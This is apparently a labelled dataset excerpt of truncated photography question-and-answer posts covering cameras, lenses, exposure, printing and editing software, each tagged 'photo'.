the point of view ... ",['photo'] "Title: EOS Utility doesn't show exposure meter in manual mode Body: EOS Utility doesn't show exposure meter in manual model. In manual i usually adjust the exposure by stopping up and down. You cant adjust this on manual. It lets you adjust in AV and TV but not ... ",['photo'] "Title: Manfrotto's QR2 system vs Arca-Swiss Release system Body: I'm used with Manfrotto's QR2 release system and I find it really quick when I need to detach the camera from the tripod and shot hand-held. I do this rather often when I alternate long-exposure shots ... ",['photo'] "Title: What camera do I need for equine / sport photography? Body: I'm a complete beginner - the only type of camera I've ever had is a cheap £100 digital camera! But I'm really interested in photography and I am thinking of starting a career in it. I don't want to ... ",['photo'] "Title: Calibrating the hardware LUT of the NEC PA271W…can third-party calibrators be used? Body: I am in the market for a new screen, one that offers a wide gamut, better brightness uniformity, and a hardware LUT. The NEC PA271W 27"" screen is currently the front runner, with a couple from Eizo ... ",['photo'] "Title: How do I take great formal Christmas party event photos? Body: It's that time of year again, just over 7 weeks to Christmas. My workplace has asked me to do formal photos at our Christmas party this year e.g. when people (200) arrive and some of the tables when ... ",['photo'] "Title: Film advance lever does not go all the way and shutter button locked Body: I just bought a Vivitar E3800N. (My first camera ever). I put the film in, and tried to follow instructions, but am unable to push the Film advance lever all the way and click the shutter button so ... ",['photo'] "Title: What monochrome color schemes have been popular? Body: There's the classic black-and-white photography, originating from silver-based photography, contemporarily used mostly to bring out shapes, texture or space, or give a ""quality"" feeling. And there's ... ",['photo'] "Title: As a beginner, which do I need to focus on more, camera body or lens? [duplicate] Body: Possible Duplicate: When buying entry level cameras, are lenses really more important than the body? Is lenses which make your photographs, not camera bodies? I am planning to get a DSLR, ... ",['photo'] "Title: Why is the amount of photos that fit on one card dependent on ISO? Body: I have a Canon 550D with a 16GB SD card. I noticed that, when in P-mode, if I choose an ISO of 100 I can shoot 595 raw files on an empty card. If I choose an ISO of 200 this is 590. And if I choose ... ",['photo'] "Title: How do I view and edit RAW photos? [duplicate] Body: Possible Duplicate: What is the best free RAW editor/converter on Windows? I want to view and edit pictures that were taken on the setting RAW but don't know how. I dont have adobe or any ... ",['photo'] "Title: How can I get a pure white background in studio photography? Body: I am a natural light photographer that is venturing into studio/backdrop portraits at the request of some of my clients. I have a portable studio for my needs with a white muslin backdrop. I am ... ",['photo'] "Title: Does crop factor still apply to a vintage film SLR lens? Body: My friend has a Tamron 24mm lens on his Nikon D5000 and he says that because of its age and the fact it is manual focus, it is still actually a 24mm on his crop sensored camera. Is this right? If so, ... ",['photo'] "Title: Time Exposures Greater Than 30 Seconds: How Body: What I'm looking for may not exist but I thought I'd ask here first. I know product recommendations are kind of verboten, but I'm coming up empty when I look on the Google. The goal is to accomplish ... ",['photo'] "Title: LR brush tool saturation Body: There is something I don't understand in LR. I turn Saturation for whole picutre to -100 from Basic pane, so I get B/W picture. Then I go to Brush, turn saturation to +100 and brush areas expecting ... ",['photo'] "Title: How to get shallow depth of field with canon 550d and kit lens 18-55mm [duplicate] Body: Possible Duplicate: How can I get dramatic shallow DOF with a kit lens? I've just got a new canon 550d with kit lens. Until now I've had a point and shoot camera , and I don't have any ... ",['photo'] "Title: Why dont I see a difference in the brightness through my viewfinder when I change the aperture? Body: If I change the aperture for a particular photo, why don't I see a change in the brightness of the image in the viewfinder? ",['photo'] "Title: Should I use “sRGB mode” on my computer screen? Body: I recently acquired the ASUS PA248Q screen for photo processing (and everyday use and gaming: I have just that one display). This display offers a ""sRGB"" mode. Right now the screen is configured to ... ",['photo'] "Title: Too loud shutter sound/mirror slap on Canon 1100D, is it just me? Body: My Canon 1100D is loudest of the all DSLRs in my friends group. I want to know if this is a problem with my camera or all 1100Ds are like this. I have tested it as following: Tried different ... ",['photo'] "Title: Why is my Canon Rebel T3i delayed 10 seconds or more before image capture? Body: I am brand new to photography and this camera. Had the smaller lens on and the shutter seemed fine. Tried the larger lens (I bought a kit) which was 200M. Played around with settings, also tried the ... ",['photo'] "Title: Camera to align my passion and purpose [duplicate] Body: Possible Duplicate: What should I look for when shopping for my first DSLR? I need great recommendation to buy a camera which aligns my passion and purpose. I own cannon SX20 since three ... ",['photo'] "Title: What to do about blown out skies Body: I'm currently trying to learn landscape photography. The biggest issue I'm currently facing is blown out skies. I take most of my photos while hiking - so I can't always use the golden hours but have ... ",['photo'] "Title: Why does my Canon 7D get blurry pictures with a 70-200mm f/2.8 IS (series 1)? Body: I'm wondering if it's normal for a Canon 7D with its crop sensor to get unsharp pictures with a 70-200mm 2.8? I just bought a used 70-200 and it seems a little bit blurry. Maybe it needs calibration? ... ",['photo'] "Title: How can I fix a sticky polarizing filter? Body: I took a gamble and bought a used B+W Circular Polarizer off eBay. The filter looks great but the adjusting ring is a little bit sticky. Is there some way to lubricate this? ",['photo'] "Title: Where can I advertise camera equipment I'd like to rent out? [closed] Body: I have a decent array of camera equipment I'd like to rent out and am wondering the best place to advertise or any advice as to how to go about doing so. I already have insurance etc., so my main ... ",['photo'] "Title: How can I light someone to make him look evil or Machiavellian? Body: What would be the best way to use light to make someone's face look evil, creepy or Machiavellian? ",['photo'] "Title: Lightroom 4 - Geocoding photos using location-based keywords Body: I have tagged all my photos consistently with location-based keywords, e.g. Geography > France > Paris. Is there a way to automatically copy this information from my Geography keyword hierarchy to the ... ",['photo'] "Title: Deleting files using Windows can corrupt camera card? Body: I just faced a curious issue. Opened my Compact Flash drive using a card reader to delete some picture and got it corrupted. Now it won't open on Windows and isn't usable in the camera. I've got the ... ",['photo'] "Title: Is the Canon EF 70-300mm f/4-5.6 IS USM suitable for wildlife photography? Body: I got my first DSLR about a week ago (600d) + af-s 18-135mm kit lens, but I want another lens with greater focal length. So I thought about this lens: CANON 70-300mm f/4-5.6 IS USM How does it ... ",['photo'] "Title: Reliable shutter feedback - Prontor contur (PC) or hotshoe Body: I use gigapan to take panorama photos. I prefer using autofocus even for panoramas. Sometimes (sky or other homogenous area) the camera fails to find the focus and does not take the photo. Gigapan ... ",['photo'] "Title: Should I switch to a mirrorless camera for baby/kid pictures? Body: I currently own a canon entry DSLR and a couple of lenses (kit 18-55, 50 1.8 and a 70-300). I am also expecting a baby soon and I plan to take many pictures of her. I have been thinking about ... ",['photo'] "Title: Rain Cover for the Case Logic SLRC-206? Body: I am on the outlook for a camera bag. I found the Case Logic SLRC-206. It seems very good for my intended use: Holds a 15"" laptop Medium Size: Good for some lenses and misc stuff (Filters ect.) not ... ",['photo'] "Title: In Connecticut, do employees have rights to photographs of themselves? Body: In Connecticut specifically, if an employer hires a company to take photographs of their employees (headshots with nothing in the background that may be considered company property), do the employees ... ",['photo'] "Title: Should my Nikon D3100 adjust settings to allow for use of flash in AP or SP mode Body: When I'm shooting with the onboard flash in low light conditions, I observe the exposure preview settings between no flash and the flash popped up - there appears to be little or no difference between ... ",['photo'] "Title: How would I setup a portrait of a boxer like these? Body: A friend of mine has asked me to do some promo shots for a boxer he knows. It's not usually my style, but I have been researching types of shots and wondered how to go about getting these types of ... ",['photo'] "Title: Why is there an ISO setting when shooting raw? Body: Raw files are supposed to contain mostly unprocessed data from the sensor. What's the point of having an ISO setting if it doesn't affect the amount of photons counted, but only provides ... ",['photo'] "Title: How do I make a reproducible effect in Paint.NET? Body: I have gone through like ten steps to produce a vintage effect (or any other effect) in Paint.NET. I am wondering if there is any easy way to do all the steps again automatically for another photo. Is ... ",['photo'] "Title: D200 diopter setting [duplicate] Body: Possible Duplicate: How do I calibrate the diopter correction on my DSLR’s viewfinder? I've messed up the diopter setting on my Nikon D200. I tried to set it up manually, but I don't feel ... ",['photo'] "Title: Are there problems using the depth of field test button in portrait mode with a grip on the Canon EOS 60D? Body: I'd like to buy a Canon EOS 60D, but I have a problem with the position of the depth of field test button. When using the camera in portrait mode, with the battery grip on, I'd like to know if you ... ",['photo'] "Title: Could autofocus of the Canon t4i be improved with a firmware update? Body: I am trying to decide between the Canon t4i (650D) and the t3i (600D). Initially I was going for the t4i because of the autofocus. But the sample videos I have seen did not really impress me. Can I ... ",['photo'] "Title: Broken Canon 28 -135 mm lens Body: I have a 28 - 135 mm Ultrasonic; the mechanism for the auto focus has failed, and there is some plastic bouncing around inside. Is it worth repairing this lens? Second question, assuming I don't get ... ",['photo'] "Title: Mysteriously lost photos on Nikon D5100 after shooting and plugging into iMac Body: I'm totally perplexed. My 32 gb card was fairly full at over 28. I had just downloaded some images to my iMac. I pulled the card out without ejecting, but I often do that with no issues, as I was only ... ",['photo'] "Title: What does it mean to brighten an image? Body: Courtesy of my optometrist, I now have images of my retinas. However, the images are a bit dark. I have RGB values for each pixel. In this setting, is brightening the image equivalent to increasing ... ",['photo'] "Title: How to change camera model with exiftool? Body: I bought a Nikon D600 only to realise that Lightroom 4 can't read the RAW format that it shoots in. I've done some research and found that some people use the Exiftool to change the model and then ... ",['photo'] "Title: How to stitch automatically panoramas of images that lack well defined elements, sharp edges? Body: I often take large landscape panoramas of 100+ 21MPixel images. Quite often some of the images do not contain sharp, well defined elements that can be detected by automatic control point detectors. ... ",['photo'] "Title: Lighting changes / Contrast changes / What parameters to change Body: I'm trying to create a smartphone application on iOS/Android that uses image processing. I'm experiencing the following problem: when I am recording and a new object (mostly white) enters the ... ",['photo'] "Title: Using software/service to schedule photo shoots Body: Just wonder if anyone uses any sort of online software or service to schedule your photoshoots. Such that clients (and prospective clients) can see which dates & times are currently available for ... ",['photo'] "Title: What are some reasons to not display EXIF data when sharing photos online? Body: I notice that some photographers choose to deliberately omit the information pertaining to how the photo was taken when sharing online. There's a communal value in learning how other folks staged a ... ",['photo'] "Title: Heavy colour saturation on night photos with new lens? Is this normal Body: I have a Canon 550D and bought a Sigma 17-70mm lens to upgrade from the 18-55mm lens kit. I decided to go out and try the new lens with some night shots. To be honest, the results were bad. I used a ... ",['photo'] "Title: Pentax-K 50mm lens, thread of 49mm or 50mm? Body: I really want to do some monkey macro photography. I am a student with almost no time and money, and want to take some hobby pictures in my spare time. I have the Canon EOS 450D (Rebel XSi/Kiss X2). ... ",['photo'] "Title: How should I light and shoot a car interior? Body: I have been asked to photograph some cars both externally and internally for promotional use in a website and print. I want these images to look high-end, so getting the lighting and general setup ... ",['photo'] "Title: Canon t1i DSLR LCD screen discoloration Body: I have a new Canont T1i DSLR camera that is about 6 months old. I have not use it for 2 months. Today when I take it out. I turned on the camera. The LCD screen is showing a lot of discolorations. ... ",['photo'] "Title: canon 550D and the missing RAW files Body: Before my last trip I set the recording mode to RAW+JPG. I haven't changed that setting for the entire trip, however when I got back home and imported the pictures into lightroom, I found that ... ",['photo'] "Title: Nikon Speedlight: Slave mode and built-in flash/commander light Body: I'm thinking about getting an speedlight to use for off-camera lighting, perhaps the SB700, but I don't understand its different wireless triggers, this website says: For off camera use, the SB700 ... ",['photo'] "Title: Which compact camera to shoot stars, moon and hopefully planets and sun? Body: I need a new camera! My Canon IXUS is now very old. What I want to be able to do is take photos of the night sky (stars, moon, planets) and the sun. Well, ideally! I have been looking at a bridge ... ",['photo'] "Title: Tamron 17-50 f2.8 lens vs Canon 17-40mm 4.0 lens Body: How is the quality of the Tamron 17-50mm f2.8 lens? Specifically, is it comparable to the Canon 17-40mm lens, in the following measurements. Overall quality (Blur, aberrations, etc) Parallel lines ... ",['photo'] "Title: Is modifying an animal photo for use as an avatar icon within fair use? Body: I found an animal photo I'd like to use as an avatar. I only want to use the head of the animal and would retouch it a bit. Is this considered as fair use? ",['photo'] "Title: Why is my Nikon D90 viewfinder shaking? Body: My Nikon D90 started having an issue where the image in the viewfinder shakes, or taps whenever I turn it on or focus. Has anyone ever seen this issue? I'm assuming that it's the mirror. I turned ... ",['photo'] "Title: How to tell Apple Aperture to store ALL files by reference? Body: Is there any way to set Apple Aperture to always keep all files stored in an external location, without having to go through the extra step of manually moving files to the location beforehand myself ... ",['photo'] "Title: Questions to ask when using a professional printing service Body: I do lots of landscape photography. A friend of mine wants one of my photographs printed; I've never done this before! All of my photos are post-processed in Photoshop, and I only generate JPEG's for ... ",['photo'] "Title: Lens options for a 18-55 and 50 1.8 plus a canon t2i owner Body: I've got a canon T2i with the 18-55 IS II kit lens and a 50mm 1.8 prime. I sold back my 55-250 when i got the 50mm thinking i wouldn't need it. But i'm looking for a couple of different lenses now. ... ",['photo'] "Title: Why does setting white balance in the camera prevent me from being able to change it afterwards? [duplicate] Body: Possible Duplicate: Why can I adjust the white balance of a RAW file but not a JPEG file? I thought white balance adjustments were simple color-cast adjustments applied uniformly across the ... ",['photo'] "Title: How does content aware retouch work? [closed] Body: Recently I discovered Photoshop's content aware retouch tools when repairing some scans from damaged B&W negatives. It's amazing how this tool fills gaps with the correct color and patterns. I ... ",['photo'] "Title: How do I connect my Nikon D5100 to a Mac with the Picture Control utility? Body: When I want to work with ""picture control utility"", I conect the camera by USB to Mac and select Control Utility, select import pictures, then appear a message telling ""use a memory card reader or ... ",['photo'] "Title: What is the relation between shutter speed and exposure compensation in aperture priority? Body: I was using a manual focus lens with canon 600D and notice something in aperture priority mode. When I was applying the exposure compensation of -2EV, I had a shutter speed of 1/20 sec and when the ... ",['photo'] "Title: Hugin image/layer order Body: I made some huge panorama but to complete the background i used some 'low-res' pictures from a much wider lens. Everything is well connected, but the image order is not the order from the ""Images"" ... ",['photo'] "Title: Cameras that can be used in the rain? Body: What cameras (DLSR & lenses, Mirrorless or P&S) can be used when its raining cats and dogs without any kind of special rainproof accessories to protect them? ",['photo'] "Title: What are the differences between Pentax weather sealings - DA★, WR, AW? Body: Pentax has in current product line weather-sealed lenses with three different markings - DA★ on primes and fast zooms; WR on consumer zooms and 100mm macro; AW on some newer primes. What are the ... ",['photo'] "Title: Is there an adaptor/app that can connect an iPhone to a Canon DSLR as an external monitor? Body: I love the swivel monitor on my Canon 60D but as I am planning to upgrade to a camera with a fixed screen I am also looking into some small external monitors with swivel capabilities. I saw some ... ",['photo'] "Title: What are these hooks for, on the Manfrotto 055XB? Body: I have the Manfrotto 055XB legs, and there are 2 hooks on the base. This one looks like it's mainly to hang weight from to help increase stability. But this one I'm unsure of. It's not rigid, and ... ",['photo'] "Title: How to make the faces clear and bright in dim light photography? Body: I have a Fujifilm Finepix S2980 with which I do a lot of experiments. One thing which really bothers me is taking pictures in dim light. I wish to take decent quality pictures in dim light without ... ",['photo'] "Title: Comparison between acquiring the Canon EF-S 17-55mm f/2.8 IS or EF-S 24-70mm f/2.8 lenses Body: I'm thinking of getting either the Canon EF-S 17-55mm f/2.8 IS or EF-S 24-70mm f/2.8L lens. What are the main similarities and differences between these two lenses, and what are their relative ... ",['photo'] "Title: Canon 450D: whats the number to the right in the viewfinder? Body: I have wondered for quite some time now what the number to the outer right in my 450D's viewfinder is. Example: 30"" 2.8 |''|''|''|''| 100 6 what's the 6 stand for? ",['photo'] "Title: How to view/erase images from both CF and SD cards on Canon EOS 5D mk3? Body: I've been trying to setup my Canon EOS 5D mk3 to shoot in ""backup mode"". I have two cards: 32GB CF 8GB SD I've set it like the following: SET UP1 menu ------------ Record func.: Rec. ... ",['photo'] "Title: What are the benefits of film vs digital? [duplicate] Body: Possible Duplicate: What kind of photography is still better done with film cameras? At this point, are there any image quality advantages of shooting film for portraits or landscape vs ... ",['photo'] "Title: Why canon Powershot A4000 IS is priced higher than Powershot SX150 IS though its inferior? Body: See the comparison hereMostly in every aspect Powershot SX150 is superior to A4000, why is A4000 priced higher than SX150?Comparing the features its should be priced way lower than SX150 but its ... ",['photo'] "Title: Raw processing on MacBook with Retina display. Aperture or other? [duplicate] Body: Possible Duplicate: Apple Aperture or Adobe Lightroom: which is better for post processing RAW photos? I want to begin photography as an hobby and I thought to start with the right foot and ... ",['photo'] "Title: The Lowdown on Image Quality on DSLRs Body: I have seen sites that use measure DSLR performances with Image QUality (in numbers). So I was thinking, given a D800 and a D7000, with the same lens, the same lighting condition and many other ... ",['photo'] "Title: How Focal Lengths is related to Sensor Size? [duplicate] Body: Possible Duplicate: What is the difference between focal length and crop factor? I was watching a video review of Tamron 70-300 lens where he mentioned that effective Focal length for a ... ",['photo'] "Title: Canon GP-E2 GPS error on Canon 7d Body: I started using a GPS logger on my 7D during a trip and had great luck in the first couple days. Halfway during the trip, the camera would completely freeze and display an error. This would happen ... ",['photo'] "Title: How can I transfer images from a DSLR to an iPhone without a computer? Body: On photo trips, where I do not have a computer with me, I would like to twitter or email some JPEG images I have just taken with my camera. The photos sit on a SD card, and should go to the iPhone for ... ",['photo'] "Title: Can a bad lens contact cause false battery warnings? Body: I had a major problem with my Nikon D80 lately, in that after taking 1-2 pictures or just leaving it on for around half a minute, it would give me a battery warning before turning itself off. This ... ",['photo'] "Title: Is it possible to print a good quality 72X72"" photo from a Nikon D700? Body: A printing job requires a 72x72"" image. I shoot with a D700. Is there any way to get a quality print at that size from a D700? ",['photo'] "Title: Night sports photography - Nikon D90/Nikkor 70-300 lens Body: I need help with the settings for everything it seems. While I'm able to get some really good shots using shutter priority and flash, it's not consistent. I end up with very grainy pictures, ... ",['photo'] "Title: Is there technically such an entity as “faceless portraits”? Body: I recently participated in a ""faceless portrait"" challenge. Some of the photos looked like decapitations. Others were people with there faces covered with a cloth mask, or a hand in front of the face. ... ",['photo'] "Title: Quick control dial problem on Canon EOS 7D Body: When I turn the quick control dial, nothing happens anymore. This problem has appeared suddenly ... Just would like to know if you guys have also experienced this problem. It is possible to open the ... ",['photo'] "Title: Best easy-to-carry-around Canon (or ANY OTHER) camera plus lenses for bird /wildlife/landscape photography (hobby)? Body: Apologies for the long post..Just want to give as much info as possible. I am looking for a suitable camera & lens. Open to suggestions! Initial plan was to buy a Canon 600d. This is a hobby ... ",['photo'] "Title: Why does my DSLR's viewfinder ignore the aperture ring on a legacy lens? Body: I have a Nikon D3100, and I am borrowing an old Nikkor 50mm SLR lens (http://www.destoutz.ch/lens_50mm_f1.8_1828564.html). I've had a lot of trouble with that lens, in that pictures that appear ... ",['photo'] "Title: Can you tell how effective a camera's high ISO images are from the specs? Body: My current camera, a Canon 50D has OK image quality at 1600 ISO and its not really very usable above that. I know that all the manufacturers publish an ISO range for their bodies. But just because ... ",['photo'] "Title: What is an effective way to photograph tall structures (especially from nearby)? Body: I am working on shooting old churches in small towns, and I find that the churches are often very tall, so naturally I want to move far away to capture the whole structure while minimizing converging ... ",['photo'] "Title: Super zoom vs. moderate zoom in compacts Body: My supposition is that at the same price (in the 150-250$ price range) a lens with 10x or more zoom has worst image quality than a 4-5x. Is it correct? Is usually quality of superzoom acceptable or ... ",['photo'] "Title: Is small sensor always a bad thing? Body: I own a DSLR. I want to buy some not-too-expensive compact, and there are a lot of compacts in the range 100-250$ with 1/2.3"" sensors. Can such a sensor/camera set give a quality somewhat comparable ... ",['photo'] "Title: Is there any way starburst diffractions could be captured with a fixed f/2 smartphone lens? [closed] Body: There's been some controversy surrounding the publicity camera samples for Nokia's new flagship smartphone, the Lumia 920. First it was shown (and admitted by Nokia) that the stabilised video footage ... ",['photo'] "Title: Why the Curiosity pictures are shown tilted? Body: This one is the last photo that the rover took this week: Why the picture is shown tilted? Why NASA does not rotate it and show it in the correct angle? ",['photo'] "Title: Can the camera select wrong exposure just because of color? Body: I took two pictures of two different flowers with portrait setting. One came perfectly exposed with dark background, the other seems over exposed with brighter background. I tried it again and the ... ",['photo'] "Title: Is it possible to use a YN467 TTL Flash Speedlite on a Nikon D40? Body: I am considering the purchage of a YN467 TTL Flash Speedlite for Nikon D700/D300/D200/D90/D80/D5000: but I need to use it on a Nikon D40. Although I have been told that it can work, I want to be sure ... ",['photo'] "Title: Comparison list of tagging & editing methods in photo management software Body: I am looking around for a photo management solution. I understand that some photo managers store tags in the photo themselves whilst some use an application specific database. I also understand that ... ",['photo'] "Title: How to calculate the zoom power (X factor) for a lens? [duplicate] Body: Possible Duplicate: How do I convert lens mm to optical zoom times? How can I obtain the ""X factor"" for a lens? I thought that to get the ""X factor"" I had to divide the largest focal ... ",['photo'] "Title: Upgrade from EF-S 15-85 IS Body: I currently own a Canon 60D, and I am perfectly happy with the camera. It is going to be years until I move to a better (most likely full-frame) body. My main, walk-around lens is the 15-85. I am ... ",['photo'] "Title: Calibrating D7000 LCD brightness Body: There has been an issue I have been having some time now with my D7000. I shoot images with it, with any lens. When I review it in the camera's LCD, it's just right. However, when I view it in my mac ... ",['photo'] "Title: My 4x5's Rangefinder image is shifted horizontally Body: I have a Busch-Pressman Model D 4x5 camera (1940's I think) with a synchronized Meyer-Opticraft Rangefinder. I have been trying to fine tune the rangefinder in order to make it useable, but there is ... ",['photo'] "Title: How is aperture handled when in live view mode? Body: When you are using the viewfinder, whatsoever the aperture value is, the lens will be in widest aperture until DOF-preview button pressed or half-shutter button.But what about the aperture value when ... ",['photo'] "Title: Gigapixel panorama problems Body: I took hundreds of pictures from a 75mm-300mm lens in Cristo Rei(Lisbon), but since Hugin (panorama tools GUI) canoot distinguish well water from... water(neither i) i took the river pictures with a ... ",['photo'] "Title: What Software can I use to clean up scanned slide images? Body: I would like to to clean up damage to and retouch under/overexposed scanned slide images, prepare the digital images with copyright symbols for use on web pages and add tags to allow image files to be ... ",['photo'] "Title: How do I stitch two star trails photos taken by different cameras? Body: Last night I took some star trails photos. I set the shutter speed to 30"", put the camera in burst mode and used my remote shutter release (with shutter button lock) to hold down the shutter button. I ... ",['photo'] "Title: Entry-level DSLR specs Body: I want to get into photography so I've been looking at DSLRs. I don't want to spend over $350 or so, so I'll definitely be looking at used cameras. I'm mainly interested in outdoor photography. What ... ",['photo'] "Title: How to capture details of the moon? Body: I just purchased a D5100 and I am slowly learning the basics. I mostly shoot landscape/scenery shots. I have been trying to capture the full moon unsuccessfully. It looks focused in the ... ",['photo'] "Title: Zooming in/out changes f stop Body: I'm a little bit confused regarding variable focal length lenses. I have a Nikon D90 DSLR. I'm using a Tamron AF-28-80 mm F/3.5-5.6 lens. Now, if I select Mode A (aperture priority) I can set the ... ",['photo'] "Title: How much is condition worth in a used camera? Body: My D90 was stolen earlier this year; I want to buy another, because it seems to still be the cheapest modernish DSLR with a reasonably large viewfinder (in Nikon-land, at least). I can save some ... ",['photo'] "Title: How do I photograph the moon with a compact camera? Body: I have a point and shoot digital camera, with a 26x optical zoom and 10 mega-pixel resolution. What are the adjustments that I should do to get a nice photograph of moon in the night? What are the ... ",['photo'] "Title: Infrared Photography - How to set White Balance? Body: When I started out photographing in infrared I wasn't setting a specific White Balance (I let the camera set on automatic). Then I started learning more about how people take infrared shots, and that ... ",['photo'] "Title: Is introduction of touch screen in DSLRs a boon? [closed] Body: With Canon introduced EOS 650d with touch screen, does it have an useful effect on photographers?Will this storm drive other manufacturers too or will it fade away just with this?Also is there any ... ",['photo'] "Title: What are the advantages and disadvantages of Leica D-LUX 5? Body: I am thinking of buying a Leica D-LUX5. I would like to better appreciate its advantages and disadvantages. Also, please suggest me if there are any better options for a comparable camera. ",['photo'] "Title: What is the best way to avoid moon and light glare in night exposures without using photo editing software Body: I took this photo yesterday and although I love it, I wish It didn't have as much glare from the moon or the city lights. I know I could go into lightroom and photoshop and crop a new moon in, but I ... ",['photo'] "Title: Canon GPS Receiver GP-E2 placement on Canon 7D Body: My understanding is that the GP-E2 will work on the Canon 7D as long as it has the new firmware and connects via USB. Does this mean that it does not need to be on the hotshoe and I can use a flash ... ",['photo'] "Title: What telephoto lens should I get for Canon 600D sub £500? Body: I have a Canon 600D (as the title suggests) and I am looking to get a second lens to expand upon the 18-55mm lens that came with my camera. I very much like what I've got at the moment, but I always ... ",['photo'] "Title: What are screw drive lenses? Body: Are lenses known as screw drivers actually available?If so what are their features and why are they called so.Name some of the lens and their manufactures. ",['photo'] "Title: any Hitech Reverse ND Grad users out there? Body: I just received my new Hitech Reverse ND Grad 0.9 today ... and it doesn't look like reverse at all .. I tried putting on a white paper .. it just look like a normal ND Hard Grad filter .. I tried ... ",['photo'] "Title: Object size discrepancy in image (Round object occupies more pixels than it should) Body: I am photographing a sphere (a ball): in the same picture I have also placed a ruler. The ball and the ruler are in the same plane. i.e. the ruler is placed such that it is aligned with the center of ... ",['photo'] "Title: Why are 50mm Lenses Cheaper? Body: There is no doubt that 50mm lenses, if all other variables are held equal, will beat any other lens when it comes to value for price (lower f/number). I want to know why. Possible theories I have ... ",['photo'] "Title: Is diffraction an issue with macro lenses? Body: I'm looking to try out macro photography and have a rental of the Canon 100mm 2.8L IS and the MT-24EX flash to try out on my Canon 7D. I've been reading that with the flash, you can stop down to ... ",['photo'] "Title: Choosing the size of SD card for a Canon 550D? Body: Recently I bought a Canon EOS 550D (T2i), and I need to buy an SD card of speed class 10. What size should I get? Is there some limit in terms of camera support? Should I go for 8, 16, 32, 64GB, or ... ",['photo'] "Title: What is the structure of a photosite? Body: I know that sensors are made from several (million) photosites. But what is in the photosites? What chemicals, if any? How are they made? What actually detects the light? I am looking for both CMOS ... ",['photo'] "Title: Why does my Zeiss Hasselblad Distagon lens have a 5 blade diaphragm? Body: As we are all aware, the more blades there are in a lens’s diaphragm, the rounder the resulting hole can be made, and in turn this gives a more natural looking bokeh. So on receiving my recent ... ",['photo'] "Title: Are images like this possible straight out of a D40 without post-processing? Body: These are probably one the best shots I ever saw using the entry level Nikon D40 (which is the only DLSR I have). While my skills are far from pro, I think these photos are quite too good to be true ... ",['photo'] "Title: Have I broken my Canon 28-135mm lens after DIY repair? Body: Last week I removed the front element from my Canon 28 - 135mm lens to remove a grain of sand from the lens. It was easy to remove the 4 screws, take of the top layer of glass and remove the grain. I ... ",['photo'] "Title: In what way will affordable high density displays affect photography? Body: The last 6 months have been quite revolutionary for the display technology with the new iPad & Retina Macbook Pro and their 200+ ppi displays that double the typical pixel densities. I have seen ... ",['photo'] "Title: What is the significance of a 50mm lense? [duplicate] Body: Possible Duplicate: Why is the 50mm prime lens the most standard? Why do people recommend 50mm or other prime lenses as starting lenses for learning photography? I'm a completely amatuer ... ",['photo'] "Title: Animated mosaic Body: I want to make sort of an animated mosaic of about 25 photos. Starting from a white background and having the photos fade in one by one untill the entire canvas is filled. Can anyone recommend an ... ",['photo'] "Title: Do photographic printers employ “Printer Steganography”? Does it matter? Body: Nowadays, many printers implement printer steganography, a technique used to mark the print with tiny ""yellow dots"". I want to know if any printers used to print photographs also employ this ... ",['photo'] "Title: Can I make my Canon dslr instantly zoom to 1:1 after shooting a picture? Body: When you shoot a photo, your picture is displayed onscreen. It's said to be possible to zoom in the picture, but pressing the zoom buttons do not zoom but activate their second function. So is it ... ",['photo'] "Title: Why am I getting a cyan cast on Epson Claria printer only in the highest-res print mode? Body: I use an Epson R260 (Claria 6-color dye) printer with a continuous ink system supplied by Echostore.com for proofing. I use generic storebrand Staples photopaper for this. It's not super-white; it ... ",['photo'] "Title: Recommended XMP tag for “Scanner” Body: What XMP tag should I use to store information about the scanner that was used to scan the print? I don't see anything in the recommended dc, xmp, iptcCore and iptcExt schemas: ... ",['photo'] "Title: How do i set studio flash power for a film camera without TTL/OTF metering Body: I have just bougnt an old fully manual medium format camera to play with, nothing serious. anyway on the lens there is a flash attachment point, which got me thinking: How do i decide on flash and ... ",['photo'] "Title: Portrait to Landscape - Common Extra Space Fillers? Body: I have a lot of portrait photos that I would like to make landscape. They're not high-res enough to just crop out a landscape section of the photo for my purposes. What are common techniques and ... ",['photo'] "Title: Why don't usual pictures of Sun show any protuberance or explosions? Body: I was just looking at this picture : http://i.imgur.com/69in3.jpg and wondered why no Corona or trace of the little explosions on the surface of the Sun are visible ... How should the Sun be ... ",['photo'] "Title: Why is the neck strap of an SLR attached to the top plate of the body? Body: Why is it that the neck strap of an SLR is attached to the top of the body? In my opinion it would be better if the neck strap would be attached to the bottom of the camera body. This would have the ... ",['photo'] "Title: How can I achieve this warm, sunny, saturated effect in Photoshop? Body: I have 2 photos: before and after. I've been trying to achieve this effect for two months, but every time something is wrong. Help please. Maybe, some special plug-in is used for this processing? ... ",['photo'] "Title: Has anyone used a DiCAPac waterproof case? Looking for point and shoot dust protection Body: Trying to figure out a way to bring my new Canon S100 to Burning Man, but worried it won't stand up to the harsh dust of the desert like a sturdier SLR would. Has anyone tried one of these waterproof ... ",['photo'] "Title: how to cut a silver object against darker background? Body: I got a few photos of a cassette. The cassette is made of steel. It’s against various backgrounds. I was playing with it a little in Gimp but have not come up with a good and fast solution how to ... ",['photo'] "Title: which adapter do i need to mount a vintage Marexar-CX Lens to Nikon D3100? Body: i have purchased a vintage MAREXAR-CX Zoom, MACRO lens, Multi-Coated 1:4.5-4.8 F=80-250mm 58 No 90686 It says is a Minolta fitting lens, made in japan, i would like to try it out with my NIkon D3100 ... ",['photo'] "Title: Adobe Bridge aspect ratio terminology Body: Why does Adobe Bridge's filter panel lists DSLR photographs' aspect ratios as 2:3? Everywhere else I have looked, this ratio is named 3:2. Same thing with 4:3 which is listed as 3:4. There doesn't ... ",['photo'] "Title: What variable maximizes color in astrophotography? Body: I'm doing some research in astrophotography before my trip to Yellowstone and I'm most interested in pulling the color of the galaxies. I will be using a Canon 7D. What should I be focusing on in ... ",['photo'] "Title: Wide angle + macro converter Body: I just bought an ""0.43x Super Wide Angle"" converter. The converter consist of two separate parts, a wide angle (W) part and a macro (M) part. The full converter screws on the filter thread of my Sigma ... ",['photo'] "Title: How is the water effect achieved in “Dali Atomicus”? Body: I've been thinking of doing a reinterpretation of the Dali Atomicus by Philippe Halsman, and this curved water effect got me puzzled, so I wonder how this is done? If I splash some water from a bucket ... ",['photo'] "Title: Are lenses like this actually available? Body: Is a lens like the one below actually available? This is a screenshot from a movie. The photographer in the movie uses this lens to covertly photograph the scene happening to his right using this ... ",['photo'] "Title: When I change the EV compensation, how will that affect my aperture, shutter speed, or ISO? Body: Let say that we have the following values, as an example: Shutter speed: 1/40 Aperture: 2 ISO: 1000 How can I get the EV number for this exposure, extract (or add) an EV value (0.33, 0.66 etc.) and ... ",['photo'] "Title: Compatibility of a Sigma Lens adapted to a Minolta 7000 